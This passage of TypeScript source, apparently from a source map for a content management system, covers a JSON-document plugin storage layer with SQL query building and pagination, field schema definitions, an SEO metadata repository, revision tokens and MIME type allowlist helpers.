field);\n\n\tif (value === null) {\n\t\treturn { sql: `${extract} IS NULL`, params: [] };\n\t}\n\n\tif (typeof value === \"string\" || typeof value === \"number\") {\n\t\treturn { sql: `${extract} = ?`, params: [value] };\n\t}\n\n\tif (typeof value === \"boolean\") {\n\t\t// JSON booleans are stored as true/false strings\n\t\treturn { sql: `${extract} = ?`, params: [value] };\n\t}\n\n\tif (isInFilter(value)) {\n\t\tconst placeholders = value.in.map(() => \"?\").join(\", \");\n\t\treturn {\n\t\t\tsql: `${extract} IN (${placeholders})`,\n\t\t\tparams: value.in,\n\t\t};\n\t}\n\n\tif (isStartsWithFilter(value)) {\n\t\treturn {\n\t\t\tsql: `${extract} LIKE ?`,\n\t\t\tparams: [`${value.startsWith}%`],\n\t\t};\n\t}\n\n\tif (isRangeFilter(value)) {\n\t\tconst conditions: string[] = [];\n\t\tconst params: unknown[] = [];\n\n\t\tif (value.gt !== undefined) {\n\t\t\tconditions.push(`${extract} > ?`);\n\t\t\tparams.push(value.gt);\n\t\t}\n\t\tif (value.gte !== undefined) {\n\t\t\tconditions.push(`${extract} >= ?`);\n\t\t\tparams.push(value.gte);\n\t\t}\n\t\tif (value.lt !== undefined) {\n\t\t\tconditions.push(`${extract} < ?`);\n\t\t\tparams.push(value.lt);\n\t\t}\n\t\tif (value.lte !== undefined) {\n\t\t\tconditions.push(`${extract} <= ?`);\n\t\t\tparams.push(value.lte);\n\t\t}\n\n\t\treturn {\n\t\t\tsql: conditions.join(\" AND \"),\n\t\t\tparams,\n\t\t};\n\t}\n\n\tthrow new StorageQueryError(`Unknown filter type for field '${field}'`);\n}\n\n/**\n * Build a complete WHERE clause from a WhereClause object\n */\n// eslint-disable-next-line @typescript-eslint/no-explicit-any -- accepts any Kysely instance\nexport function buildWhereClause(\n\tdb: Kysely<any>,\n\twhere: WhereClause,\n): {\n\tsql: string;\n\tparams: unknown[];\n} {\n\tconst conditions: string[] = [];\n\tconst params: unknown[] = [];\n\n\tfor (const [field, value] of Object.entries(where)) {\n\t\tconst condition = buildCondition(db, field, value);\n\t\tconditions.push(condition.sql);\n\t\tparams.push(...condition.params);\n\t}\n\n\tif (conditions.length === 0) {\n\t\treturn { sql: \"\", params: [] };\n\t}\n\n\treturn {\n\t\tsql: conditions.join(\" AND \"),\n\t\tparams,\n\t};\n}\n\n/**\n * Build ORDER BY clause\n */\n// eslint-disable-next-line @typescript-eslint/no-explicit-any -- accepts any Kysely instance\nexport function buildOrderByClause(\n\tdb: Kysely<any>,\n\torderBy: Record<string, \"asc\" | \"desc\">,\n): string {\n\tconst clauses: string[] = [];\n\n\tfor (const [field, direction] of Object.entries(orderBy)) {\n\t\tclauses.push(`${jsonExtract(db, field)} ${direction.toUpperCase()}`);\n\t}\n\n\tif (clauses.length === 0) {\n\t\treturn \"\";\n\t}\n\n\treturn `ORDER BY ${clauses.join(\", \")}`;\n}\n","/**\n * Plugin Storage Repository\n *\n * Provides a document store API for plugin data storage.\n * Uses a single _plugin_storage table with JSON documents and expression indexes.\n *\n * @see PLUGIN-SYSTEM.md § Plugin Storage > Full API Reference\n */\n\nimport type { Kysely } from \"kysely\";\nimport { sql } from \"kysely\";\n\nimport {\n\tbuildWhereClause,\n\tvalidateWhereClause,\n\tvalidateOrderByClause,\n\tgetIndexedFields,\n\tjsonExtract,\n} from \"../../plugins/storage-query.js\";\nimport type {\n\tStorageCollection,\n\tQueryOptions,\n\tPaginatedResult,\n\tWhereClause,\n} from \"../../plugins/types.js\";\nimport { withTransaction } from \"../transaction.js\";\nimport type { Database } from \"../types.js\";\nimport { encodeCursor, decodeCursor } from \"./types.js\";\n\n/**\n * Plugin Storage Repository\n *\n * Implements the StorageCollection interface for a specific plugin and collection.\n */\nexport class PluginStorageRepository<T = unknown> implements StorageCollection<T> {\n\tprivate indexedFields: Set<string>;\n\n\tconstructor(\n\t\tprivate db: Kysely<Database>,\n\t\tprivate pluginId: string,\n\t\tprivate collection: string,\n\t\tindexes: Array<string | string[]>,\n\t) {\n\t\tthis.indexedFields = getIndexedFields(indexes);\n\t}\n\n\t/**\n\t * Get a document by ID\n\t */\n\tasync get(id: string): Promise<T | null> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"_plugin_storage\")\n\t\t\t.select(\"data\")\n\t\t\t.where(\"plugin_id\", \"=\", this.pluginId)\n\t\t\t.where(\"collection\", \"=\", this.collection)\n\t\t\t.where(\"id\", \"=\", id)\n\t\t\t.executeTakeFirst();\n\n\t\tif (!row) return null;\n\t\t// eslint-disable-next-line typescript-eslint(no-unsafe-type-assertion) -- JSON.parse returns any; generic callers provide T\n\t\treturn JSON.parse(row.data) as T;\n\t}\n\n\t/**\n\t * Store a document\n\t */\n\tasync put(id: string, data: T): Promise<void> {\n\t\tconst now = new Date().toISOString();\n\t\tconst jsonData = JSON.stringify(data);\n\n\t\tawait this.db\n\t\t\t.insertInto(\"_plugin_storage\")\n\t\t\t.values({\n\t\t\t\tplugin_id: this.pluginId,\n\t\t\t\tcollection: this.collection,\n\t\t\t\tid,\n\t\t\t\tdata: jsonData,\n\t\t\t\tcreated_at: now,\n\t\t\t\tupdated_at: now,\n\t\t\t})\n\t\t\t.onConflict((oc) =>\n\t\t\t\toc.columns([\"plugin_id\", \"collection\", \"id\"]).doUpdateSet({\n\t\t\t\t\tdata: jsonData,\n\t\t\t\t\tupdated_at: now,\n\t\t\t\t}),\n\t\t\t)\n\t\t\t.execute();\n\t}\n\n\t/**\n\t * Delete a document\n\t */\n\tasync delete(id: string): Promise<boolean> {\n\t\tconst result = await this.db\n\t\t\t.deleteFrom(\"_plugin_storage\")\n\t\t\t.where(\"plugin_id\", \"=\", this.pluginId)\n\t\t\t.where(\"collection\", \"=\", this.collection)\n\t\t\t.where(\"id\", \"=\", id)\n\t\t\t.executeTakeFirst();\n\n\t\treturn (result.numDeletedRows ?? 0) > 0;\n\t}\n\n\t/**\n\t * Check if a document exists\n\t */\n\tasync exists(id: string): Promise<boolean> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"_plugin_storage\")\n\t\t\t.select(\"id\")\n\t\t\t.where(\"plugin_id\", \"=\", this.pluginId)\n\t\t\t.where(\"collection\", \"=\", this.collection)\n\t\t\t.where(\"id\", \"=\", id)\n\t\t\t.executeTakeFirst();\n\n\t\treturn !!row;\n\t}\n\n\t/**\n\t * Get multiple documents by ID\n\t */\n\tasync getMany(ids: string[]): Promise<Map<string, T>> {\n\t\tif (ids.length === 0) return new Map();\n\n\t\tconst rows = await this.db\n\t\t\t.selectFrom(\"_plugin_storage\")\n\t\t\t.select([\"id\", \"data\"])\n\t\t\t.where(\"plugin_id\", \"=\", this.pluginId)\n\t\t\t.where(\"collection\", \"=\", this.collection)\n\t\t\t.where(\"id\", \"in\", ids)\n\t\t\t.execute();\n\n\t\tconst result = new Map<string, T>();\n\t\tfor (const row of rows) {\n\t\t\t// eslint-disable-next-line typescript-eslint(no-unsafe-type-assertion) -- JSON.parse returns any; generic callers provide T\n\t\t\tresult.set(row.id, JSON.parse(row.data) as T);\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * Store multiple documents\n\t */\n\tasync putMany(items: Array<{ id: string; data: T }>): Promise<void> {\n\t\tif (items.length === 0) return;\n\n\t\tconst now = new Date().toISOString();\n\n\t\t// SQLite doesn't support batch upserts well, so we do them one at a time\n\t\t// In a transaction for atomicity\n\t\tawait withTransaction(this.db, async (trx) => {\n\t\t\tfor (const item of items) {\n\t\t\t\tconst jsonData = JSON.stringify(item.data);\n\t\t\t\tawait trx\n\t\t\t\t\t.insertInto(\"_plugin_storage\")\n\t\t\t\t\t.values({\n\t\t\t\t\t\tplugin_id: this.pluginId,\n\t\t\t\t\t\tcollection: this.collection,\n\t\t\t\t\t\tid: item.id,\n\t\t\t\t\t\tdata: jsonData,\n\t\t\t\t\t\tcreated_at: now,\n\t\t\t\t\t\tupdated_at: now,\n\t\t\t\t\t})\n\t\t\t\t\t.onConflict((oc) =>\n\t\t\t\t\t\toc.columns([\"plugin_id\", \"collection\", \"id\"]).doUpdateSet({\n\t\t\t\t\t\t\tdata: jsonData,\n\t\t\t\t\t\t\tupdated_at: now,\n\t\t\t\t\t\t}),\n\t\t\t\t\t)\n\t\t\t\t\t.execute();\n\t\t\t}\n\t\t});\n\t}\n\n\t/**\n\t * Delete multiple documents\n\t */\n\tasync deleteMany(ids: string[]): Promise<number> {\n\t\tif (ids.length === 0) return 0;\n\n\t\tconst result = await this.db\n\t\t\t.deleteFrom(\"_plugin_storage\")\n\t\t\t.where(\"plugin_id\", \"=\", this.pluginId)\n\t\t\t.where(\"collection\", \"=\", this.collection)\n\t\t\t.where(\"id\", \"in\", ids)\n\t\t\t.executeTakeFirst();\n\n\t\treturn Number(result.numDeletedRows ?? 0);\n\t}\n\n\t/**\n\t * Query documents with filters\n\t */\n\tasync query(options: QueryOptions = {}): Promise<PaginatedResult<{ id: string; data: T }>> {\n\t\tconst { where = {}, orderBy = {}, cursor } = options;\n\t\tconst limit = Math.min(options.limit ?? 50, 100);\n\n\t\t// Validate that all queried fields are indexed\n\t\tvalidateWhereClause(where, this.indexedFields, this.pluginId, this.collection);\n\t\tif (Object.keys(orderBy).length > 0) {\n\t\t\tvalidateOrderByClause(orderBy, this.indexedFields, this.pluginId, this.collection);\n\t\t}\n\n\t\t// Build base query\n\t\tlet query = this.db\n\t\t\t.selectFrom(\"_plugin_storage\")\n\t\t\t.select([\"id\", \"data\", \"created_at\"])\n\t\t\t.where(\"plugin_id\", \"=\", this.pluginId)\n\t\t\t.where(\"collection\", \"=\", this.collection);\n\n\t\t// Add JSON extraction WHERE conditions\n\t\tconst whereResult = buildWhereClause(this.db, where);\n\t\tif (whereResult.sql) {\n\t\t\t// Use sql template to add the raw WHERE conditions with params\n\t\t\tconst whereSqlParts: ReturnType<typeof sql>[] = [];\n\t\t\tlet paramIndex = 0;\n\t\t\tconst sqlParts = whereResult.sql.split(\"?\");\n\t\t\tfor (let i = 0; i < sqlParts.length; i++) {\n\t\t\t\tif (i > 0) {\n\t\t\t\t\twhereSqlParts.push(sql`${whereResult.params[paramIndex++]}`);\n\t\t\t\t}\n\t\t\t\tif (sqlParts[i]) {\n\t\t\t\t\twhereSqlParts.push(sql.raw(sqlParts[i]));\n\t\t\t\t}\n\t\t\t}\n\t\t\tquery = query.where(({ eb }) => eb(sql.join(whereSqlParts, sql.raw(\"\")), \"=\", sql.raw(\"1\")));\n\t\t}\n\n\t\t// Handle cursor-based pagination — throws on invalid cursor.\n\t\tif (cursor) {\n\t\t\tconst decoded = decodeCursor(cursor);\n\t\t\tquery = query.where(({ eb }) =>\n\t\t\t\teb(sql`(created_at, id)`, \">\", sql`(${decoded.orderValue}, ${decoded.id})`),\n\t\t\t);\n\t\t}\n\n\t\t// Build ORDER BY using sql template\n\t\tif (Object.keys(orderBy).length > 0) {\n\t\t\tfor (const [field, direction] of Object.entries(orderBy)) {\n\t\t\t\tconst extract = jsonExtract(this.db, field);\n\t\t\t\tconst orderExpr =\n\t\t\t\t\tdirection === \"desc\" ? sql`${sql.raw(extract)} desc` : sql`${sql.raw(extract)} asc`;\n\t\t\t\tquery = query.orderBy(orderExpr);\n\t\t\t}\n\t\t} else {\n\t\t\t// Default ordering for consistent pagination\n\t\t\tquery = query.orderBy(\"created_at\", \"asc\").orderBy(\"id\", \"asc\");\n\t\t}\n\n\t\t// Apply limit (fetch one extra to detect if there's more)\n\t\tquery = query.limit(limit + 1);\n\n\t\tconst rows = await query.execute();\n\n\t\tconst hasMore = rows.length > limit;\n\t\tconst items = rows.slice(0, limit).map((row) => ({\n\t\t\tid: row.id,\n\t\t\t// eslint-disable-next-line typescript-eslint(no-unsafe-type-assertion) -- JSON.parse returns any; generic callers provide T\n\t\t\tdata: JSON.parse(row.data) as T,\n\t\t}));\n\n\t\t// Generate cursor for next page if there are more results\n\t\tlet nextCursor: string | undefined;\n\t\tif (hasMore) {\n\t\t\tconst lastItem = rows[limit - 1];\n\t\t\tif (lastItem) {\n\t\t\t\tnextCursor = encodeCursor(lastItem.created_at, lastItem.id);\n\t\t\t}\n\t\t}\n\n\t\treturn { items, cursor: nextCursor, hasMore };\n\t}\n\n\t/**\n\t * Count documents matching a filter\n\t */\n\tasync count(where?: WhereClause): Promise<number> {\n\t\tif (where && Object.keys(where).length > 0) {\n\t\t\tvalidateWhereClause(where, this.indexedFields, this.pluginId, this.collection);\n\t\t}\n\n\t\tlet query = this.db\n\t\t\t.selectFrom(\"_plugin_storage\")\n\t\t\t.select(sql<number>`COUNT(*)`.as(\"count\"))\n\t\t\t.where(\"plugin_id\", \"=\", this.pluginId)\n\t\t\t.where(\"collection\", \"=\", this.collection);\n\n\t\t// Add JSON extraction WHERE conditions\n\t\tif (where && Object.keys(where).length > 0) {\n\t\t\tconst whereResult = buildWhereClause(this.db, where);\n\t\t\tif (whereResult.sql) {\n\t\t\t\t// Use sql template to add the raw WHERE conditions with params\n\t\t\t\tconst whereSqlParts: ReturnType<typeof sql>[] = [];\n\t\t\t\tlet paramIndex = 0;\n\t\t\t\tconst sqlParts = whereResult.sql.split(\"?\");\n\t\t\t\tfor (let i = 0; i < sqlParts.length; i++) {\n\t\t\t\t\tif (i > 0) {\n\t\t\t\t\t\twhereSqlParts.push(sql`${whereResult.params[paramIndex++]}`);\n\t\t\t\t\t}\n\t\t\t\t\tif (sqlParts[i]) {\n\t\t\t\t\t\twhereSqlParts.push(sql.raw(sqlParts[i]));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tquery = query.where(({ eb }) =>\n\t\t\t\t\teb(sql.join(whereSqlParts, sql.raw(\"\")), \"=\", sql.raw(\"1\")),\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\tconst result = await query.executeTakeFirst();\n\t\treturn result?.count ?? 0;\n\t}\n}\n\n/**\n * Create a scoped storage accessor for a plugin\n */\nexport function createPluginStorageAccessor(\n\tdb: Kysely<Database>,\n\tpluginId: string,\n\tstorageConfig: Record<\n\t\tstring,\n\t\t{ indexes: Array<string | string[]>; uniqueIndexes?: Array<string | string[]> }\n\t>,\n): Record<string, StorageCollection> {\n\tconst accessor: Record<string, StorageCollection> = {};\n\n\tfor (const [collectionName, config] of Object.entries(storageConfig)) {\n\t\tconst allIndexes = [...config.indexes, ...(config.uniqueIndexes ?? [])];\n\t\taccessor[collectionName] = new PluginStorageRepository(\n\t\t\tdb,\n\t\t\tpluginId,\n\t\t\tcollectionName,\n\t\t\tallIndexes,\n\t\t);\n\t}\n\n\treturn accessor;\n}\n\n/**\n * Delete all storage data for a plugin\n */\nexport async function deleteAllPluginStorage(\n\tdb: Kysely<Database>,\n\tpluginId: string,\n): Promise<number> {\n\tconst result = await db\n\t\t.deleteFrom(\"_plugin_storage\")\n\t\t.where(\"plugin_id\", \"=\", pluginId)\n\t\t.executeTakeFirst();\n\n\treturn Number(result.numDeletedRows ?? 0);\n}\n\n/**\n * Delete all storage data for a plugin collection\n */\nexport async function deletePluginCollection(\n\tdb: Kysely<Database>,\n\tpluginId: string,\n\tcollection: string,\n): Promise<number> {\n\tconst result = await db\n\t\t.deleteFrom(\"_plugin_storage\")\n\t\t.where(\"plugin_id\", \"=\", pluginId)\n\t\t.where(\"collection\", \"=\", collection)\n\t\t.executeTakeFirst();\n\n\treturn Number(result.numDeletedRows ?? 0);\n}\n","import { z } from \"astro/zod\";\n\nimport type { FieldDefinition, ImageValue } from \"./types.js\";\n\nconst imageSchema = z.object({\n\tid: z.string(),\n\tsrc: z.string(),\n\talt: z.string().optional(),\n\twidth: z.number().optional(),\n\theight: z.number().optional(),\n});\n\nexport interface ImageOptions {\n\trequired?: boolean;\n\tmaxSize?: number; // in bytes\n\tallowedTypes?: string[]; // MIME types — exact or prefix\n}\n\nexport function image(options: ImageOptions = {}): FieldDefinition<ImageValue | undefined> {\n\tconst validation =\n\t\toptions.allowedTypes && options.allowedTypes.length > 0\n\t\t\t? { allowedMimeTypes: [...options.allowedTypes] }\n\t\t\t: undefined;\n\n\treturn {\n\t\ttype: \"image\",\n\t\tcolumnType: \"TEXT\",\n\t\tschema: options.required === false ? imageSchema.optional() : imageSchema,\n\t\toptions,\n\t\tui: {\n\t\t\twidget: \"image\",\n\t\t},\n\t\tvalidation,\n\t};\n}\n","import { z } from \"astro/zod\";\n\nimport type { FieldDefinition, FieldUIHints, FileValue } from \"./types.js\";\n\nexport interface FileOptions {\n\trequired?: boolean;\n\tmaxSize?: number; // In bytes\n\tallowedTypes?: string[]; // MIME types — exact (image/png) or prefix (image/)\n\thelpText?: string;\n}\n\nexport function file(options: FileOptions = {}): FieldDefinition<FileValue> {\n\tconst fileObjSchema = z.object({\n\t\tid: z.string(),\n\t\turl: z.string(),\n\t\tfilename: z.string(),\n\t\tmimeType: z.string(),\n\t\tsize: z.number(),\n\t});\n\n\tconst schema: z.ZodTypeAny = options.required ? fileObjSchema : fileObjSchema.optional();\n\n\tconst ui: FieldUIHints = {\n\t\twidget: \"file\",\n\t\thelpText: options.helpText,\n\t\tmaxSize: options.maxSize,\n\t};\n\n\tconst validation =\n\t\toptions.allowedTypes && options.allowedTypes.length > 0\n\t\t\t? { allowedMimeTypes: [...options.allowedTypes] }\n\t\t\t: undefined;\n\n\treturn {\n\t\ttype: \"file\",\n\t\tcolumnType: \"TEXT\",\n\t\tschema,\n\t\toptions,\n\t\tui,\n\t\tvalidation,\n\t};\n}\n","import { z } from \"astro/zod\";\n\nimport type { FieldDefinition } from \"./types.js\";\n\n/**\n * Reference field\n * References another content item by ID\n */\nexport function reference(\n\tcollection: string,\n\toptions?: {\n\t\trequired?: boolean;\n\t},\n): FieldDefinition<string | undefined> {\n\tconst schema = z.string();\n\n\treturn {\n\t\ttype: \"reference\",\n\t\tcolumnType: \"TEXT\",\n\t\tschema: options?.required === false ? schema.optional() : schema,\n\t\toptions: {\n\t\t\t...options,\n\t\t\tcollection,\n\t\t},\n\t\tui: {\n\t\t\twidget: \"reference\",\n\t\t},\n\t};\n}\n","import { z } from \"astro/zod\";\n\nimport type { FieldDefinition, PortableTextBlock } from \"./types.js\";\n\n/**\n * Portable Text block schema\n */\nconst portableTextBlockSchema: z.ZodType<PortableTextBlock> = z\n\t.object({\n\t\t_type: z.string(),\n\t\t_key: z.string(),\n\t})\n\t.passthrough();\n\n/**\n * Portable Text field\n * Stores structured content in Portable Text format\n */\nexport function portableText(options?: {\n\trequired?: boolean;\n}): FieldDefinition<PortableTextBlock[] | undefined> {\n\tconst schema = z.array(portableTextBlockSchema);\n\n\treturn {\n\t\ttype: \"portableText\",\n\t\tcolumnType: \"JSON\",\n\t\tschema: options?.required === false ? schema.optional() : schema,\n\t\toptions,\n\t\tui: {\n\t\t\twidget: \"portableText\",\n\t\t},\n\t};\n}\n","import { sql, type Kysely } from \"kysely\";\n\nimport { chunks, SQL_BATCH_SIZE } from \"../../utils/chunks.js\";\nimport type { Database } from \"../types.js\";\nimport type { ContentSeo, ContentSeoInput } from \"./types.js\";\n\n/** Default SEO values for content without an explicit SEO row */\nconst SEO_DEFAULTS: ContentSeo = {\n\ttitle: null,\n\tdescription: null,\n\timage: null,\n\tcanonical: null,\n\tnoIndex: false,\n};\n\n/**\n * Returns true if the input has at least one explicitly-set SEO field.\n * Used to skip no-op upserts when callers pass `{ seo: {} }`.\n */\nfunction hasAnyField(input: ContentSeoInput): boolean {\n\treturn (\n\t\tinput.title !== undefined ||\n\t\tinput.description !== undefined ||\n\t\tinput.image !== undefined ||\n\t\tinput.canonical !== undefined ||\n\t\tinput.noIndex !== undefined\n\t);\n}\n\n/**\n * Repository for SEO metadata stored in `_emdash_seo`.\n *\n * SEO data lives in a separate table keyed by (collection, content_id).\n * Only collections with `has_seo = 1` should use this — callers are\n * responsible for checking the flag before reading/writing.\n */\nexport class SeoRepository {\n\tconstructor(private db: Kysely<Database>) {}\n\n\t/**\n\t * Check whether a collection has SEO enabled (`has_seo = 1`).\n\t * Returns `false` if the collection does not exist.\n\t */\n\tasync isEnabled(collection: string): Promise<boolean> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"_emdash_collections\")\n\t\t\t.select(\"has_seo\")\n\t\t\t.where(\"slug\", \"=\", collection)\n\t\t\t.executeTakeFirst();\n\t\treturn row?.has_seo === 1;\n\t}\n\n\t/**\n\t * Get SEO data for a content item. Returns null defaults if no row exists.\n\t */\n\tasync get(collection: string, contentId: string): Promise<ContentSeo> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"_emdash_seo\")\n\t\t\t.selectAll()\n\t\t\t.where(\"collection\", \"=\", collection)\n\t\t\t.where(\"content_id\", \"=\", contentId)\n\t\t\t.executeTakeFirst();\n\n\t\tif (!row) {\n\t\t\treturn { ...SEO_DEFAULTS };\n\t\t}\n\n\t\treturn {\n\t\t\ttitle: row.seo_title ?? null,\n\t\t\tdescription: row.seo_description ?? null,\n\t\t\timage: row.seo_image ?? null,\n\t\t\tcanonical: row.seo_canonical ?? null,\n\t\t\tnoIndex: row.seo_no_index === 1,\n\t\t};\n\t}\n\n\t/**\n\t * Get SEO data for multiple content items.\n\t * Returns a Map keyed by content_id. Items without SEO rows get defaults.\n\t *\n\t * Chunks the `content_id IN (…)` clause so the total bound-parameter count\n\t * per statement (ids + the `collection = ?` filter) stays within Cloudflare\n\t * D1's 100-variable limit regardless of how many content items are passed.\n\t */\n\tasync getMany(collection: string, contentIds: string[]): Promise<Map<string, ContentSeo>> {\n\t\tconst result = new Map<string, ContentSeo>();\n\n\t\tif (contentIds.length === 0) return result;\n\n\t\t// Pre-fill with defaults so every input id has an entry even if no row exists.\n\t\tfor (const id of contentIds) {\n\t\t\tresult.set(id, { ...SEO_DEFAULTS });\n\t\t}\n\n\t\tconst uniqueContentIds = [...new Set(contentIds)];\n\t\tfor (const chunk of chunks(uniqueContentIds, SQL_BATCH_SIZE)) {\n\t\t\tconst rows = await this.db\n\t\t\t\t.selectFrom(\"_emdash_seo\")\n\t\t\t\t.selectAll()\n\t\t\t\t.where(\"collection\", \"=\", collection)\n\t\t\t\t.where(\"content_id\", \"in\", chunk)\n\t\t\t\t.execute();\n\n\t\t\tfor (const row of rows) {\n\t\t\t\tresult.set(row.content_id, {\n\t\t\t\t\ttitle: row.seo_title ?? null,\n\t\t\t\t\tdescription: row.seo_description ?? null,\n\t\t\t\t\timage: row.seo_image ?? null,\n\t\t\t\t\tcanonical: row.seo_canonical ?? null,\n\t\t\t\t\tnoIndex: row.seo_no_index === 1,\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t/**\n\t * Upsert SEO data for a content item using INSERT ON CONFLICT DO UPDATE\n\t * for atomicity. Skips no-op writes when input has no fields set.\n\t */\n\tasync upsert(collection: string, contentId: string, input: ContentSeoInput): Promise<ContentSeo> {\n\t\t// Skip no-op: empty input (e.g., `{ seo: {} }` from form libs)\n\t\tif (!hasAnyField(input)) {\n\t\t\treturn this.get(collection, contentId);\n\t\t}\n\n\t\tconst now = new Date().toISOString();\n\n\t\t// Use INSERT ON CONFLICT for atomic upsert — avoids TOCTOU race\n\t\t// where two concurrent requests both see \"no row\" and both try INSERT.\n\t\t//\n\t\t// On conflict, we use COALESCE(excluded.col, current.col) so that\n\t\t// only explicitly-provided fields overwrite existing values.\n\t\tawait sql`\n\t\t\tINSERT INTO _emdash_seo (\n\t\t\t\tcollection, content_id,\n\t\t\t\tseo_title, seo_description, seo_image, seo_canonical, seo_no_index,\n\t\t\t\tcreated_at, updated_at\n\t\t\t) VALUES (\n\t\t\t\t${collection}, ${contentId},\n\t\t\t\t${input.title ?? null}, ${input.description ?? null},\n\t\t\t\t${input.image ?? null}, ${input.canonical ?? null},\n\t\t\t\t${input.noIndex ? 1 : 0},\n\t\t\t\t${now}, ${now}\n\t\t\t)\n\t\t\tON CONFLICT (collection, content_id) DO UPDATE SET\n\t\t\t\tseo_title = ${input.title !== undefined ? sql`${input.title}` : sql`_emdash_seo.seo_title`},\n\t\t\t\tseo_description = ${input.description !== undefined ? sql`${input.description}` : sql`_emdash_seo.seo_description`},\n\t\t\t\tseo_image = ${input.image !== undefined ? sql`${input.image}` : sql`_emdash_seo.seo_image`},\n\t\t\t\tseo_canonical = ${input.canonical !== undefined ? sql`${input.canonical}` : sql`_emdash_seo.seo_canonical`},\n\t\t\t\tseo_no_index = ${input.noIndex !== undefined ? sql`${input.noIndex ? 1 : 0}` : sql`_emdash_seo.seo_no_index`},\n\t\t\t\tupdated_at = ${now}\n\t\t`.execute(this.db);\n\n\t\treturn this.get(collection, contentId);\n\t}\n\n\t/**\n\t * Delete SEO data for a content item.\n\t */\n\tasync delete(collection: string, contentId: string): Promise<void> {\n\t\tawait this.db\n\t\t\t.deleteFrom(\"_emdash_seo\")\n\t\t\t.where(\"collection\", \"=\", collection)\n\t\t\t.where(\"content_id\", \"=\", contentId)\n\t\t\t.execute();\n\t}\n\n\t/**\n\t * Copy SEO data from one content item to another.\n\t * Used by duplicate. Clears canonical (it pointed to the original).\n\t */\n\tasync copyForDuplicate(collection: string, sourceId: string, targetId: string): Promise<void> {\n\t\tconst source = await this.get(collection, sourceId);\n\n\t\t// Only write if there's actual SEO data worth copying\n\t\tif (\n\t\t\tsource.title !== null ||\n\t\t\tsource.description !== null ||\n\t\t\tsource.image !== null ||\n\t\t\tsource.noIndex\n\t\t) {\n\t\t\tawait this.upsert(collection, targetId, {\n\t\t\t\ttitle: source.title,\n\t\t\t\tdescription: source.description,\n\t\t\t\timage: source.image,\n\t\t\t\tcanonical: null, // Don't copy canonical — it pointed to the original\n\t\t\t\tnoIndex: source.noIndex,\n\t\t\t});\n\t\t}\n\t}\n}\n","/**\n * Opaque _rev token generation and validation.\n *\n * Format: base64(\"version:updated_at\")\n * Stateless — server decodes and checks both components.\n *\n * Rules:\n * - No _rev sent → blind write (backwards-compatible)\n * - _rev matches → write proceeds, new _rev returned\n * - _rev mismatch → 409 Conflict\n */\n\nimport type { ContentItem } from \"../database/repositories/types.js\";\nimport { encodeBase64, decodeBase64 } from \"../utils/base64.js\";\n\n/**\n * Generate a _rev token from a content item's version and updatedAt.\n */\nexport function encodeRev(item: ContentItem): string {\n\treturn encodeBase64(`${item.version}:${item.updatedAt}`);\n}\n\n/**\n * Decode a _rev token into its components.\n * Returns null if the token is malformed.\n */\nexport function decodeRev(rev: string): { version: number; updatedAt: string } | null {\n\ttry {\n\t\tconst decoded = decodeBase64(rev);\n\t\tconst colonIdx = decoded.indexOf(\":\");\n\t\tif (colonIdx === -1) return null;\n\n\t\tconst version = parseInt(decoded.slice(0, colonIdx), 10);\n\t\tconst updatedAt = decoded.slice(colonIdx + 1);\n\n\t\tif (isNaN(version) || !updatedAt) return null;\n\t\treturn { version, updatedAt };\n\t} catch {\n\t\treturn null;\n\t}\n}\n\n/**\n * Validate a _rev token against a content item.\n * Returns null if valid (or if no _rev provided), or an error message if invalid.\n */\nexport function validateRev(\n\trev: string | undefined,\n\titem: ContentItem,\n): { valid: true } | { valid: false; message: string } {\n\t// No _rev = blind write (backwards-compatible)\n\tif (!rev) return { valid: true };\n\n\tconst decoded = decodeRev(rev);\n\tif (!decoded) {\n\t\treturn { valid: false, message: \"Malformed _rev token\" };\n\t}\n\n\tif (decoded.version !== item.version || decoded.updatedAt !== item.updatedAt) {\n\t\treturn {\n\t\t\tvalid: false,\n\t\t\tmessage: \"Content has been modified since last read (version conflict)\",\n\t\t};\n\t}\n\n\treturn { valid: true };\n}\n","export function normalizeMime(mime: string): string {\n\treturn mime.split(\";\")[0]!.trim().toLowerCase();\n}\n\nexport function matchesMimeAllowlist(mime: string, allowList: readonly string[]): boolean {\n\tconst normalized = normalizeMime(mime);\n\tfor (const entry of allowList) {\n\t\tif (!entry || !entry.includes(\"/\")) continue;\n\t\tconst normalizedEntry = normalizeMime(entry);\n\t\tif (normalizedEntry.endsWith(\"/\")) {\n\t\t\tif (normalized.startsWith(normalizedEntry)) return true;\n\t\t} else if (normalized === normalizedEntry) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nexport const EXTENSION_TO_MIME: Readonly<Record<string, string>> = {\n\t\".pdf\": \"application/pdf\",\n\t\".png\": \"image/png\",\n\t\".jpg\": \"image/jpeg\",\n\t\".jpeg\": \"image/jpeg\",\n\t\".gif\": \"image/gif\",\n\t\".webp\": \"image/webp\",\n\t\".svg\": \"image/svg+xml\",\n\t\".mp3\": \"audio/mpeg\",\n\t\".wav\": \"audio/wav\",\n\t\".mp4\": \"video/mp4\",\n\t\".webm\": \"video/webm\",\n\t\".zip\": \"application/zip\",\n\t\".tar\": \"application/x-tar\",\n\t\".gz\": \"application/gzip\",\n\t\".csv\": \"text/csv\",\n\t\".doc\": \"application/msword\",\n\t\".docx\": \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\",\n\t\".xls\": \"application/vnd.ms-excel\",\n\t\".xlsx\": \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\",\n\t\".txt\": \"text/plain\",\n\t\".rtf\": \"application/rtf\",\n\t\".vtt\": \"text/vtt\",\n\t\".srt\": \"application/x-subrip\",\n\t\".woff\": \"font/woff\",\n\t\".woff2\": \"font/woff2\",\n};\n\nconst VALID_MIME_RE = /^[a-z0-9][a-z0-9!#$&^_+\\-.]*\\/[a-z0-9!#$&^_+\\-.]*$/i;\n\nexport function expandExtensionShorthand(entry: string): string | null {\n\tconst trimmed = entry.trim();\n\tif (!trimmed) return null;\n\tif (trimmed.includes(\"/\")) return VALID_MIME_RE.test(trimmed) ? trimmed : null;\n\tif (trimmed.startsWith(\".\")) {\n\t\treturn EXTENSION_TO_MIME[trimmed.toLowerCase()] ?? null;\n\t}\n\treturn 